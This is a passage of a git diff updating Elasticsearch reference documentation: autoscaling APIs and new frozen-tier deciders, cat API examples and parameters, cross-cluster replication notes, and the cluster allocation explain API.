include::delete-autoscaling-policy.asciidoc[] include::get-autoscaling-policy.asciidoc[] -include::put-autoscaling-policy.asciidoc[] + diff --git a/docs/reference/autoscaling/apis/delete-autoscaling-policy.asciidoc b/docs/reference/autoscaling/apis/delete-autoscaling-policy.asciidoc index 48b254b28efda..4ed6ec619f21d 100644 --- a/docs/reference/autoscaling/apis/delete-autoscaling-policy.asciidoc +++ b/docs/reference/autoscaling/apis/delete-autoscaling-policy.asciidoc @@ -6,7 +6,7 @@ Delete autoscaling policy ++++ -include::../autoscaling-designed-for-note.asciidoc[] +NOTE: {cloud-only} Delete autoscaling policy. @@ -37,9 +37,12 @@ DELETE /_autoscaling/policy/ [[autoscaling-delete-autoscaling-policy-prereqs]] ==== {api-prereq-title} -* If the {es} {security-features} are enabled, you must have -`manage_autoscaling` cluster privileges. For more information, see -<>. +* If the {es} {security-features} are enabled, you must have the +`manage_autoscaling` <> to use this +API. + +* If the <> is enabled, only operator +users can use this API. [[autoscaling-delete-autoscaling-policy-desc]] ==== {api-description-title} diff --git a/docs/reference/autoscaling/apis/get-autoscaling-capacity.asciidoc b/docs/reference/autoscaling/apis/get-autoscaling-capacity.asciidoc index 3ecb3f15f858c..0093c0a27aa00 100644 --- a/docs/reference/autoscaling/apis/get-autoscaling-capacity.asciidoc +++ b/docs/reference/autoscaling/apis/get-autoscaling-capacity.asciidoc @@ -6,7 +6,7 @@ Get autoscaling capacity ++++ -include::../autoscaling-designed-for-note.asciidoc[] +NOTE: {cloud-only} Get autoscaling capacity. diff --git a/docs/reference/autoscaling/apis/get-autoscaling-policy.asciidoc b/docs/reference/autoscaling/apis/get-autoscaling-policy.asciidoc index 53f8c2537f067..947c4fded1ff8 100644 --- a/docs/reference/autoscaling/apis/get-autoscaling-policy.asciidoc +++ b/docs/reference/autoscaling/apis/get-autoscaling-policy.asciidoc @@ -6,7 +6,7 @@ Get autoscaling policy ++++ -include::../autoscaling-designed-for-note.asciidoc[] +NOTE: {cloud-only} Get autoscaling policy. diff --git a/docs/reference/autoscaling/apis/put-autoscaling-policy.asciidoc b/docs/reference/autoscaling/apis/put-autoscaling-policy.asciidoc index df4863290eb86..12de23025c20e 100644 --- a/docs/reference/autoscaling/apis/put-autoscaling-policy.asciidoc +++ b/docs/reference/autoscaling/apis/put-autoscaling-policy.asciidoc @@ -1,14 +1,14 @@ [role="xpack"] [testenv="enterprise"] [[autoscaling-put-autoscaling-policy]] -=== Put autoscaling policy API +=== Create or update autoscaling policy API ++++ -Put autoscaling policy +Create or update autoscaling policy ++++ -include::../autoscaling-designed-for-note.asciidoc[] +NOTE: {cloud-only} -Put autoscaling policy. +Creates or updates an autoscaling policy. [[autoscaling-put-autoscaling-policy-request]] ==== {api-request-title} @@ -39,9 +39,12 @@ DELETE /_autoscaling/policy/name [[autoscaling-put-autoscaling-policy-prereqs]] ==== {api-prereq-title} -* If the {es} {security-features} are enabled, you must have -`manage_autoscaling` cluster privileges. For more information, see -<>. +* If the {es} {security-features} are enabled, you must have the +`manage_autoscaling` <> to use this +API. + +* If the <> is enabled, only operator +users can use this API. [[autoscaling-put-autoscaling-policy-desc]] ==== {api-description-title} diff --git a/docs/reference/autoscaling/autoscaling-deciders.asciidoc b/docs/reference/autoscaling/autoscaling-deciders.asciidoc index cebb3f867a99d..67adff7fbdf3d 100644 --- a/docs/reference/autoscaling/autoscaling-deciders.asciidoc +++ b/docs/reference/autoscaling/autoscaling-deciders.asciidoc @@ -11,6 +11,15 @@ governing data nodes. Estimates required storage capacity based on current ingestion into hot nodes. Available for policies governing hot data nodes. +<>:: +Estimates required memory capacity based on the number of partially mounted shards. +Available for policies governing frozen data nodes. + +<>:: +Estimates required storage capacity as a percentage of the total data set of +partially mounted indices. +Available for policies governing frozen data nodes. + <>:: Estimates required memory capacity based on machine learning jobs. Available for policies governing machine learning nodes. @@ -20,5 +29,7 @@ Responds with a fixed required capacity. This decider is intended for testing on include::deciders/reactive-storage-decider.asciidoc[] include::deciders/proactive-storage-decider.asciidoc[] +include::deciders/frozen-shards-decider.asciidoc[] +include::deciders/frozen-storage-decider.asciidoc[] include::deciders/machine-learning-decider.asciidoc[] include::deciders/fixed-decider.asciidoc[] diff --git a/docs/reference/autoscaling/autoscaling-designed-for-note.asciidoc b/docs/reference/autoscaling/autoscaling-designed-for-note.asciidoc deleted file mode 100644 index dba80d612c9fe..0000000000000 --- a/docs/reference/autoscaling/autoscaling-designed-for-note.asciidoc +++ /dev/null @@ -1,4 +0,0 @@ -[NOTE] -Autoscaling is designed for indirect use by {ess-trial}[{ess}], -{ece-ref}[{ece}], and {eck-ref}[Elastic Cloud on Kubernetes]. Direct use is not -supported. diff --git a/docs/reference/autoscaling/deciders/frozen-shards-decider.asciidoc b/docs/reference/autoscaling/deciders/frozen-shards-decider.asciidoc new file mode 100644 index 0000000000000..ab11da04c8642 --- /dev/null +++ b/docs/reference/autoscaling/deciders/frozen-shards-decider.asciidoc @@ -0,0 +1,16 @@ +[role="xpack"] +[[autoscaling-frozen-shards-decider]] +=== Frozen shards decider + +The frozen shards decider (`frozen_shards`) calculates the memory required to search +the current set of partially mounted indices in the frozen tier. Based on a +required memory amount per shard, it calculates the necessary memory in the frozen tier. + +[[autoscaling-frozen-shards-decider-settings]] +==== Configuration settings + +`memory_per_shard`:: +(Optional, <>) +The memory needed per shard, in bytes. Defaults to 2000 shards per 64 GB node (roughly 32 MB per shard). +Notice that this is total memory, not heap, assuming that the Elasticsearch default heap sizing +mechanism is used and that nodes are not bigger than 64 GB. diff --git a/docs/reference/autoscaling/deciders/frozen-storage-decider.asciidoc b/docs/reference/autoscaling/deciders/frozen-storage-decider.asciidoc new file mode 100644 index 0000000000000..5a10f31f1365b --- /dev/null +++ b/docs/reference/autoscaling/deciders/frozen-storage-decider.asciidoc @@ -0,0 +1,19 @@ +[role="xpack"] +[[autoscaling-frozen-storage-decider]] +=== Frozen storage decider + +The frozen storage decider (`frozen_storage`) calculates the local storage +required to search the current set of partially mounted indices based on a +percentage of the total data set size of such indices. It signals that +additional storage capacity is necessary when existing capacity is less than the +percentage multiplied by total data set size. + +The frozen storage decider is enabled for all policies governing frozen data +nodes and has no configuration options. + +[[autoscaling-frozen-storage-decider-settings]] +==== Configuration settings + +`percentage`:: +(Optional, number value) +Percentage of local storage relative to the data set size. Defaults to 5. diff --git a/docs/reference/autoscaling/deciders/machine-learning-decider.asciidoc b/docs/reference/autoscaling/deciders/machine-learning-decider.asciidoc index 1b696f6a2cee7..c7236f40c4cea 100644 --- a/docs/reference/autoscaling/deciders/machine-learning-decider.asciidoc +++ b/docs/reference/autoscaling/deciders/machine-learning-decider.asciidoc @@ -3,47 +3,46 @@ [[autoscaling-machine-learning-decider]] === Machine learning decider -The {ml} decider (`ml`) calculates the memory required to run -{ml} jobs created by users. +The {ml} decider (`ml`) calculates the memory required to run {ml} jobs. The {ml} decider is enabled for policies governing `ml` nodes. NOTE: For {ml} jobs to open when the cluster is not appropriately -scaled, `xpack.ml.max_lazy_ml_nodes` should be set to the largest -number of possible {ml} jobs (see <>). In -{ess} this is already handled. +scaled, set `xpack.ml.max_lazy_ml_nodes` to the largest number of possible {ml} +jobs (refer to <> for more information). In {ess}, this is +automatically set. [[autoscaling-machine-learning-decider-settings]] ==== Configuration settings -Both `num_anomaly_jobs_in_queue` and `num_analytics_jobs_in_queue` -are designed to be used to delay a scale-up event. They indicate how many jobs -of that type can be unassigned from a node due to the cluster being -too small. Both settings are only considered for jobs that could -eventually be fully opened given the current scale. If a job is too -large for any node size or if a job couldn't ever be assigned without -user intervention (for example, a user calling `_stop` against a real-time +Both `num_anomaly_jobs_in_queue` and `num_analytics_jobs_in_queue` are designed +to delay a scale-up event. If the cluster is too small, these settings indicate how many jobs of each type can be +unassigned from a node. Both settings are +only considered for jobs that can be opened given the current scale. If a job is +too large for any node size or if a job can't be assigned without user +intervention (for example, a user calling `_stop` against a real-time {anomaly-job}), the numbers are ignored for that particular job. `num_anomaly_jobs_in_queue`:: (Optional, integer) -Number of queued anomaly jobs to allow. Defaults to `0`. +Specifies the number of queued {anomaly-jobs} to allow. Defaults to `0`. `num_analytics_jobs_in_queue`:: (Optional, integer) -Number of queued analytics jobs to allow. Defaults to `0`. +Specifies the number of queued {dfanalytics-jobs} to allow. Defaults to `0`. `down_scale_delay`:: (Optional, <>) -Delay before scaling down. Defaults to 1 hour. If a scale down is possible -for the entire time window, then a scale down is requested. If the cluster -requires a scale up during the window, the window is reset. +Specifies the time to delay before scaling down. Defaults to 1 hour. If a scale +down is possible for the entire time window, then a scale down is requested. If +the cluster requires a scale up during the window, the window is reset. + [[autoscaling-machine-learning-decider-examples]] ==== {api-examples-title} -This example puts an autoscaling policy named `my_autoscaling_policy`, -overriding the machine learning decider's configuration. +This example creates an autoscaling policy named `my_autoscaling_policy` that +overrides the default configuration of the {ml} decider. [source,console] -------------------------------------------------- @@ -61,6 +60,7 @@ PUT /_autoscaling/policy/my_autoscaling_policy -------------------------------------------------- // TEST + The API returns the following result: [source,console-result] @@ -70,6 +70,7 @@ The API returns the following result: } -------------------------------------------------- + ////////////////////////// [source,console] diff --git a/docs/reference/autoscaling/deciders/reactive-storage-decider.asciidoc b/docs/reference/autoscaling/deciders/reactive-storage-decider.asciidoc index df6587a23e8c3..50897178a88de 100644 --- a/docs/reference/autoscaling/deciders/reactive-storage-decider.asciidoc +++ b/docs/reference/autoscaling/deciders/reactive-storage-decider.asciidoc @@ -7,3 +7,11 @@ the current data set. It signals that additional storage capacity is necessary when existing capacity has been exceeded (reactively). The reactive storage decider is enabled for all policies governing data nodes and has no configuration options. + +The decider relies partially on using <> +allocation rather than node attributes. In particular, scaling a data tier into +existence (starting the first node in a tier) will result in starting a node in +any data tier that is empty if not using allocation based on data tier preference. +Using the <> action to migrate between tiers is the +preferred way of allocating to tiers and fully supports scaling a tier into +existence. diff --git a/docs/reference/autoscaling/index.asciidoc b/docs/reference/autoscaling/index.asciidoc index b5256ebce2b0b..a88d26fac2d53 100644 --- a/docs/reference/autoscaling/index.asciidoc +++ b/docs/reference/autoscaling/index.asciidoc @@ -3,7 +3,7 @@ [[xpack-autoscaling]] = Autoscaling -include::autoscaling-designed-for-note.asciidoc[] +NOTE: {cloud-only} The autoscaling feature enables an operator to configure tiers of nodes that self-monitor whether or not they need to scale based on an operator-defined diff --git a/docs/reference/cat.asciidoc b/docs/reference/cat.asciidoc index 8676c7cf502f2..2f53279f17876 100644 --- a/docs/reference/cat.asciidoc +++ b/docs/reference/cat.asciidoc @@ -33,17 +33,17 @@ Each of the commands accepts a query string parameter `v` to turn on verbose output. For example: [source,console] --------------------------------------------------- -GET /_cat/master?v=true --------------------------------------------------- +---- +GET _cat/master?v=true +---- Might respond with: [source,txt] --------------------------------------------------- +---- id host ip node u_n93zwxThWHi1PDBJAGAg 127.0.0.1 127.0.0.1 u_n93zw --------------------------------------------------- +---- // TESTRESPONSE[s/u_n93zw(xThWHi1PDBJAGAg)?/.+/ non_json] [discrete] @@ -54,19 +54,19 @@ Each of the commands accepts a query string parameter `help` which will output its available columns. For example: [source,console] --------------------------------------------------- -GET /_cat/master?help --------------------------------------------------- +---- +GET _cat/master?help +---- Might respond with: [source,txt] --------------------------------------------------- +---- id | | node id host | h | host name ip | | ip address node | n | node name --------------------------------------------------- +---- // TESTRESPONSE[s/[|]/[|]/ non_json] NOTE: `help` is not supported if any optional url parameter is used. @@ -82,16 +82,16 @@ Each of the commands accepts a query string parameter `h` which forces only those columns to appear. For example: [source,console] --------------------------------------------------- -GET /_cat/nodes?h=ip,port,heapPercent,name --------------------------------------------------- +---- +GET _cat/nodes?h=ip,port,heapPercent,name +---- Responds with: [source,txt] --------------------------------------------------- +---- 127.0.0.1 9300 27 sLBaIGK --------------------------------------------------- +---- // TESTRESPONSE[s/9300 27 sLBaIGK/\\d+ \\d+ .+/ non_json] You can also request multiple columns using simple wildcards like @@ -103,38 +103,38 @@ with `queue`. ==== Numeric formats Many commands provide a few types of numeric output, either a byte, size -or a time value. By default, these types are human-formatted, -for example, `3.5mb` instead of `3763212`. The human values are not +or a time value. By default, these types are human-formatted, +for example, `3.5mb` instead of `3763212`. The human values are not sortable numerically, so in order to operate on these values where order is important, you can change it. Say you want to find the largest index in your cluster (storage used -by all the shards, not number of documents). The `/_cat/indices` API -is ideal. You only need to add three things to the API request: +by all the shards, not number of documents). The `/_cat/indices` API +is ideal. You only need to add three things to the API request: . The `bytes` query string parameter with a value of `b` to get byte-level resolution. -. The `s` (sort) parameter with a value of `store.size:desc` to sort the output -by shard storage in descending order. +. The `s` (sort) parameter with a value of `store.size:desc` and a comma with `index:asc` to sort the output +by shard storage descending order and then index name in ascending order. . The `v` (verbose) parameter to include column headings in the response. [source,console] --------------------------------------------------- -GET /_cat/indices?bytes=b&s=store.size:desc&v=true --------------------------------------------------- +---- +GET _cat/indices?bytes=b&s=store.size:desc,index:asc&v=true +---- // TEST[setup:my_index_huge] // TEST[s/^/PUT my-index-000002\n{"settings": {"number_of_replicas": 0}}\n/] +// TEST[s/s=store\.size:desc,index:asc/s=index:asc/] The API returns the following response: [source,txt] --------------------------------------------------- +---- health status index uuid pri rep docs.count docs.deleted store.size pri.store.size yellow open my-index-000001 u8FNjxh8Rfy_awN11oDKYQ 1 1 1200 0 72171 72171 green open my-index-000002 nYFWZEO7TUiOjLQXBaYJpA 1 0 0 0 230 230 --------------------------------------------------- +---- // TESTRESPONSE[s/72171|230/\\d+/] // TESTRESPONSE[s/u8FNjxh8Rfy_awN11oDKYQ|nYFWZEO7TUiOjLQXBaYJpA/.+/ non_json] -// TESTRESPONSE[skip:"AwaitsFix https://github.com/elastic/elasticsearch/issues/51619"] If you want to change the <>, use `time` parameter. @@ -146,7 +146,7 @@ If you want to change the <>, use `bytes` parameter. ==== Response as text, json, smile, yaml or cbor [source,sh] --------------------------------------------------- +---- % curl 'localhost:9200/_cat/indices?format=json&pretty' [ { @@ -161,7 +161,7 @@ If you want to change the <>, use `bytes` parameter. "store.size": "650b" } ] --------------------------------------------------- +---- // NOTCONSOLE Currently supported formats (for the `?format=` parameter): @@ -176,7 +176,7 @@ All formats above are supported, the GET parameter takes precedence over the hea For example: [source,sh] --------------------------------------------------- +---- % curl '192.168.56.10:9200/_cat/indices?pretty' -H "Accept: application/json" [ { @@ -191,7 +191,7 @@ For example: "store.size": "650b" } ] --------------------------------------------------- +---- // NOTCONSOLE [discrete] @@ -208,21 +208,20 @@ For example, with a sort string `s=column1,column2:desc,column3`, the table will sorted in ascending order by column1, in descending order by column2, and in ascending order by column3. -[source,sh] --------------------------------------------------- +[source,console] +---- GET _cat/templates?v=true&s=order:desc,index_patterns --------------------------------------------------- -//CONSOLE +---- returns: [source,txt] --------------------------------------------------- +---- name index_patterns order version pizza_pepperoni [*pepperoni*] 2 sushi_california_roll [*avocado*] 1 1 pizza_hawaiian [*pineapples*] 1 --------------------------------------------------- +---- include::cat/alias.asciidoc[] diff --git a/docs/reference/cat/alias.asciidoc b/docs/reference/cat/alias.asciidoc index dffb039abcc00..ab6f7a0be75f8 100644 --- a/docs/reference/cat/alias.asciidoc +++ b/docs/reference/cat/alias.asciidoc @@ -4,8 +4,8 @@ cat aliases ++++ -Returns information about currently configured aliases to indices, including -filter and routing information. +Retrieves the cluster's <>, including filter and routing +information. The API does not return data stream aliases. [[cat-alias-api-request]] diff --git a/docs/reference/cat/count.asciidoc b/docs/reference/cat/count.asciidoc index 1a3c0341d9e34..9ccb72ce10196 100644 --- a/docs/reference/cat/count.asciidoc +++ b/docs/reference/cat/count.asciidoc @@ -22,19 +22,16 @@ which have not yet been removed by the merge process. ==== {api-prereq-title} * If the {es} {security-features} are enabled, you must have the `read` -<> for any data stream, index, or index -alias you retrieve. +<> for any data stream, index, or alias +you retrieve. [[cat-count-api-path-params]] ==== {api-path-parms-title} ``:: -(Optional, string) -Comma-separated list of data streams, indices, and index aliases used to limit -the request. Wildcard expressions (`*`) are supported. -+ -To target all data streams and indices in a cluster, omit this parameter or use -`_all` or `*`. +(Optional, string) Comma-separated list of data streams, indices, and aliases +used to limit the request. Supports wildcards (`*`). To target all data streams +and indices, omit this parameter or use `*` or `_all`. [[cat-count-api-query-params]] ==== {api-query-parms-title} diff --git a/docs/reference/cat/indices.asciidoc b/docs/reference/cat/indices.asciidoc index 9156e85407c60..f587f31c1c0c7 100644 --- a/docs/reference/cat/indices.asciidoc +++ b/docs/reference/cat/indices.asciidoc @@ -21,7 +21,7 @@ indices for data streams. * If the {es} {security-features} are enabled, you must have the `monitor` or `manage` <> to use this API. You must also have the `monitor` or `manage` <> -for any data stream, index, or index alias you retrieve. +for any data stream, index, or alias you retrieve. [[cat-indices-api-desc]] ==== {api-description-title} @@ -48,12 +48,9 @@ To get an accurate count of {es} documents, use the <> or ==== {api-path-parms-title} ``:: -(Optional, string) -Comma-separated list of data streams, indices, and index aliases used to limit -the request. Wildcard expressions (`*`) are supported. -+ -To target all data streams and indices in a cluster, omit this parameter or use -`_all` or `*`. +(Optional, string) Comma-separated list of data streams, indices, and aliases +used to limit the request. Supports wildcards (`*`). To target all data streams +and indices, omit this parameter or use `*` or `_all`. [[cat-indices-api-query-params]] ==== {api-query-parms-title} diff --git a/docs/reference/cat/nodes.asciidoc b/docs/reference/cat/nodes.asciidoc index 78863f39e35f1..d59f3c18e7b35 100644 --- a/docs/reference/cat/nodes.asciidoc +++ b/docs/reference/cat/nodes.asciidoc @@ -25,7 +25,7 @@ include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=bytes] include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=http-format] `full_id`:: -(Optional, Boolean) If `true`, return the full node ID. If `false`, return the +(Optional, Boolean) If `true`, return the full node ID. If `false`, return the shortened node ID. Defaults to `false`. include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-h] @@ -48,11 +48,20 @@ Valid columns are: (Default) Used file descriptors percentage, such as `1`. `node.role`, `r`, `role`, `nodeRole`:: -(Default) Roles of the node. Returned values include `c` (cold node), `d` (data -node), `h` (hot node), `i` (ingest node), `l` (machine learning node), `m` -(master-eligible node), `r` (remote cluster client node), `s` (content node), -`t` ({transform} node), `v` (voting-only node), `w` (warm node) and `-` -(coordinating node only). +(Default) Roles of the node. Returned values include +`c` (cold node), +`d` (data node), +`f` (frozen node), +`h` (hot node), +`i` (ingest node), +`l` (machine learning node), +`m` (master-eligible node), +`r` (remote cluster client node), +`s` (content node), +`t` ({transform} node), +`v` (voting-only node), +`w` (warm node), and +`-` (coordinating node only). + For example, `dim` indicates a master-eligible data and ingest node. See <>. @@ -307,6 +316,7 @@ include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=time] include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-v] +include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=include-unloaded-segments] [[cat-nodes-api-example]] ==== {api-examples-title} diff --git a/docs/reference/cat/recovery.asciidoc b/docs/reference/cat/recovery.asciidoc index a16839c14481c..7422dd1f240bd 100644 --- a/docs/reference/cat/recovery.asciidoc +++ b/docs/reference/cat/recovery.asciidoc @@ -24,7 +24,7 @@ indices. * If the {es} {security-features} are enabled, you must have the `monitor` or `manage` <> to use this API. You must also have the `monitor` or `manage` <> -for any data stream, index, or index alias you retrieve. +for any data stream, index, or alias you retrieve. [[cat-recovery-api-desc]] ==== {api-description-title} @@ -40,13 +40,9 @@ include::{es-repo-dir}/indices/recovery.asciidoc[tag=shard-recovery-desc] ==== {api-path-parms-title} ``:: -(Optional, string) -Comma-separated list of data streams, indices, and index aliases used to limit -the request. Wildcard expressions (`*`) are supported. -+ -To target all data streams and indices in a cluster, omit this parameter or use -`_all` or `*`. - +(Optional, string) Comma-separated list of data streams, indices, and aliases +used to limit the request. Supports wildcards (`*`). To target all data streams +and indices, omit this parameter or use `*` or `_all`. [[cat-recovery-query-params]] ==== {api-query-parms-title} diff --git a/docs/reference/cat/segments.asciidoc b/docs/reference/cat/segments.asciidoc index 1f04edf62500b..9ebb0a5af3408 100644 --- a/docs/reference/cat/segments.asciidoc +++ b/docs/reference/cat/segments.asciidoc @@ -24,18 +24,15 @@ indices. * If the {es} {security-features} are enabled, you must have the `monitor` or `manage` <> to use this API. You must also have the `monitor` or `manage` <> -for any data stream, index, or index alias you retrieve. +for any data stream, index, or alias you retrieve. [[cat-segments-path-params]] ==== {api-path-parms-title} ``:: -(Optional, string) -Comma-separated list of data streams, indices, and index aliases used to limit -the request. Wildcard expressions (`*`) are supported. -+ -To target all data streams and indices in a cluster, omit this parameter or use -`_all` or `*`. +(Optional, string) Comma-separated list of data streams, indices, and aliases +used to limit the request. Supports wildcards (`*`). To target all data streams +and indices, omit this parameter or use `*` or `_all`. [[cat-segments-query-params]] ==== {api-query-parms-title} diff --git a/docs/reference/cat/shards.asciidoc b/docs/reference/cat/shards.asciidoc index 822e90aecc0f0..3ff2839c8501d 100644 --- a/docs/reference/cat/shards.asciidoc +++ b/docs/reference/cat/shards.asciidoc @@ -25,18 +25,15 @@ indices. * If the {es} {security-features} are enabled, you must have the `monitor` or `manage` <> to use this API. You must also have the `monitor` or `manage` <> -for any data stream, index, or index alias you retrieve. +for any data stream, index, or alias you retrieve. [[cat-shards-path-params]] ==== {api-path-parms-title} ``:: -(Optional, string) -Comma-separated list of data streams, indices, and index aliases used to limit -the request. Wildcard expressions (`*`) are supported. -+ -To target all data streams and indices in a cluster, omit this parameter or use -`_all` or `*`. +(Optional, string) Comma-separated list of data streams, indices, and aliases +used to limit the request. Supports wildcards (`*`). To target all data streams +and indices, omit this parameter or use `*` or `_all`. [[cat-shards-query-params]] ==== {api-query-parms-title} diff --git a/docs/reference/cat/transforms.asciidoc b/docs/reference/cat/transforms.asciidoc index 6d4f8c5129656..e491149275cde 100644 --- a/docs/reference/cat/transforms.asciidoc +++ b/docs/reference/cat/transforms.asciidoc @@ -1,3 +1,4 @@ +[role="xpack"] [[cat-transforms]] === cat {transforms} API ++++ diff --git a/docs/reference/ccr/apis/auto-follow/put-auto-follow-pattern.asciidoc b/docs/reference/ccr/apis/auto-follow/put-auto-follow-pattern.asciidoc index cd30494de108b..1ef668fae9f7f 100644 --- a/docs/reference/ccr/apis/auto-follow/put-auto-follow-pattern.asciidoc +++ b/docs/reference/ccr/apis/auto-follow/put-auto-follow-pattern.asciidoc @@ -75,7 +75,9 @@ indices. `follow_index_pattern`:: (Optional, string) The name of follower index. The template `{{leader_index}}` can be used to derive the name of the follower index from the name of the - leader index. + leader index. When following a data stream, use `{{leader_index}}`; {ccr-init} + does not support changes to the names of a follower data stream's backing + indices. include::../follow-request-body.asciidoc[] diff --git a/docs/reference/ccr/auto-follow.asciidoc b/docs/reference/ccr/auto-follow.asciidoc index 1fa514cb9d3e3..1fa7b6a647904 100644 --- a/docs/reference/ccr/auto-follow.asciidoc +++ b/docs/reference/ccr/auto-follow.asciidoc @@ -7,6 +7,13 @@ each new index in the series is replicated automatically. Whenever the name of a new index on the remote cluster matches the auto-follow pattern, a corresponding follower index is added to the local cluster. +NOTE: Auto-follow patterns only match open indices on the remote cluster that +have all primary shards started. Auto-follow patterns do not match indices that +can't be used for {ccr-init} such as <> or +<>. Avoid using an auto-follow pattern +that matches indices with a <>. These +blocks prevent follower indices from replicating such indices. + You can also create auto-follow patterns for data streams. When a new backing index is generated on a remote cluster, that index and its data stream are automatically followed if the data stream name matches an auto-follow diff --git a/docs/reference/ccr/getting-started.asciidoc b/docs/reference/ccr/getting-started.asciidoc index 32dce8499c0fc..489835d4b51ad 100644 --- a/docs/reference/ccr/getting-started.asciidoc +++ b/docs/reference/ccr/getting-started.asciidoc @@ -83,6 +83,12 @@ indices on the local cluster. <> must + also have the <> role. The local cluster + must also have at least one node with both a data role and the + <> role. Individual tasks for coordinating + replication scale based on the number of data nodes with the + `remote_cluster_client` role in the local cluster. [[ccr-getting-started-remote-cluster]] ==== Connect to a remote cluster diff --git a/docs/reference/ccr/index.asciidoc b/docs/reference/ccr/index.asciidoc index c8830baa78bee..ddb9a7411da8f 100644 --- a/docs/reference/ccr/index.asciidoc +++ b/docs/reference/ccr/index.asciidoc @@ -118,7 +118,7 @@ comes online, replication resumes between the clusters. image::images/ccr-arch-bi-directional.png[Bi-directional configuration where each cluster contains both a leader index and follower indices] -NOTE: This configuration is useful for index-only workloads, where no updates +This configuration is particularly useful for index-only workloads, where no updates to document values occur. In this configuration, documents indexed by {es} are immutable. Clients are located in each datacenter alongside the {es} cluster, and do not communicate with clusters in different datacenters. @@ -189,6 +189,18 @@ failure), the follower shard enters into a retry loop. Otherwise, the follower shard pauses <>. +[discrete] +[[ccr-update-leader-index]] +==== Processing updates +You can't manually modify a follower index's mappings or aliases. To make +changes, you must update the leader index. Because they are read-only, follower +indices reject writes in all configurations. + +For example, you index a document named `doc_1` in Datacenter A, which +replicates to Datacenter B. If a client connects to Datacenter B and attempts +to update `doc_1`, the request fails. To update `doc_1`, the client must +connect to Datacenter A and update the document in the leader index. + When a follower shard receives operations from the leader shard, it places those operations in a write buffer. The follower shard submits bulk write requests using operations from the write buffer. If the write buffer exceeds @@ -214,8 +226,6 @@ h| Update type h| Automatic h| As needed For example, changing the number of replicas on the leader index is not replicated by the follower index, so that setting might not be retrieved. -NOTE: You cannot manually modify a follower index's mappings or aliases. - If you apply a non-dynamic settings change to the leader index that is needed by the follower index, the follower index closes itself, applies the settings update, and then re-opens itself. The follower index is unavailable diff --git a/docs/reference/ccr/managing.asciidoc b/docs/reference/ccr/managing.asciidoc index bb07375a17224..c1781508c61b2 100644 --- a/docs/reference/ccr/managing.asciidoc +++ b/docs/reference/ccr/managing.asciidoc @@ -1,27 +1,6 @@ [role="xpack"] [testenv="platinum"] -////////////////////////// - -[source,console] --------------------------------------------------- -PUT /follower_index/_ccr/follow?wait_for_active_shards=1 -{ - "remote_cluster" : "remote_cluster", - "leader_index" : "leader_index" -} --------------------------------------------------- -// TESTSETUP -// TEST[setup:remote_cluster_and_leader_index] - -[source,console] --------------------------------------------------- -POST /follower_index/_ccr/pause_follow --------------------------------------------------- -// TEARDOWN - -////////////////////////// - [[ccr-managing]] === Manage {ccr} Use the following information to manage {ccr} tasks, such as inspecting @@ -135,6 +114,7 @@ PUT /follower_index/_ccr/follow?wait_for_active_shards=1 "leader_index" : "leader_index" } ---------------------------------------------------------------------- +// TEST[setup:remote_cluster_and_leader_index_and_follower_index teardown:pause_follow] ==== [[ccr-terminate-replication]] diff --git a/docs/reference/cluster.asciidoc b/docs/reference/cluster.asciidoc index 1c406f0bc1822..66fd5525e7b8e 100644 --- a/docs/reference/cluster.asciidoc +++ b/docs/reference/cluster.asciidoc @@ -46,9 +46,6 @@ means that filters such as `master:false` which remove nodes from the chosen subset are only useful if they come after some other filters. When used on its own, `master:false` selects no nodes. -NOTE: The `voting_only` role requires the {default-dist} of Elasticsearch and -is not supported in the {oss-dist}. - Here are some examples of the use of node filters with the <> APIs. diff --git a/docs/reference/cluster/allocation-explain.asciidoc b/docs/reference/cluster/allocation-explain.asciidoc index 2bbe7e01b9b23..0a633039c4185 100644 --- a/docs/reference/cluster/allocation-explain.asciidoc +++ b/docs/reference/cluster/allocation-explain.asciidoc @@ -4,13 +4,26 @@ Cluster allocation explain ++++ -Provides explanations for shard allocations in the cluster. +Provides an explanation for a shard's current allocation. +[source,console] +---- +GET _cluster/allocation/explain +{ + "index": "my-index-000001", + "shard": 0, + "primary": false, + "current_node": "my-node" +} +---- +// TEST[setup:my_index] +// TEST[s/"primary": false,/"primary": false/] +// TEST[s/"current_node": "my-node"//] [[cluster-allocation-explain-api-request]] ==== {api-request-title} -`GET /_cluster/allocation/explain` +`GET _cluster/allocation/explain` [[cluster-allocation-explain-api-prereqs]] ==== {api-prereq-title} @@ -22,7 +35,7 @@ Provides explanations for shard allocations in the cluster. ==== {api-description-title} The purpose of the cluster allocation explain API is to provide -explanations for shard allocations in the cluster. For unassigned shards, +explanations for shard allocations in the cluster. For unassigned shards, the explain API provides an explanation for why the shard is unassigned. For assigned shards, the explain API provides an explanation for why the shard is remaining on its current node and has not moved or rebalanced to @@ -30,7 +43,6 @@ another node. This API can be very useful when attempting to diagnose why a shard is unassigned or why a shard continues to remain on its current node when you might expect otherwise. - [[cluster-allocation-explain-api-query-params]] ==== {api-query-parms-title} @@ -42,7 +54,6 @@ you might expect otherwise. (Optional, Boolean) If `true`, returns 'YES' decisions in explanation. Defaults to `false`. - [[cluster-allocation-explain-api-request-body]] ==== {api-request-body-title} @@ -62,83 +73,42 @@ you might expect otherwise. (Optional, integer) Specifies the ID of the shard that you would like an explanation for. -You can also have {es} explain the allocation of the first unassigned shard that -it finds by sending an empty body for the request. - - [[cluster-allocation-explain-api-examples]] ==== {api-examples-title} +===== Unassigned primary shard -////// -[source,console] --------------------------------------------------- -PUT /my-index-000001 --------------------------------------------------- -// TESTSETUP -////// - -[source,console] --------------------------------------------------- -GET /_cluster/allocation/explain -{ - "index": "my-index-000001", - "shard": 0, - "primary": true -} --------------------------------------------------- - - -===== Example of the current_node parameter - -[source,console] --------------------------------------------------- -GET /_cluster/allocation/explain -{ - "index": "my-index-000001", - "shard": 0, - "primary": false, - "current_node": "nodeA" <1> -} --------------------------------------------------- -// TEST[skip:no way of knowing the current_node] - -<1> The node where shard 0 currently has a replica on - - -===== Examples of unassigned primary shard explanations - -////// -[source,console] --------------------------------------------------- -DELETE my-index-000001 --------------------------------------------------- -////// +The following request gets an allocation explanation for an unassigned primary +shard. +//// [source,console] --------------------------------------------------- -PUT /my-index-000001?master_timeout=1s&timeout=1s +---- +PUT my-index-000001?master_timeout=1s&timeout=1s { "settings": { - "index.routing.allocation.include._name": "non_existent_node", + "index.routing.allocation.include._name": "nonexistent_node", 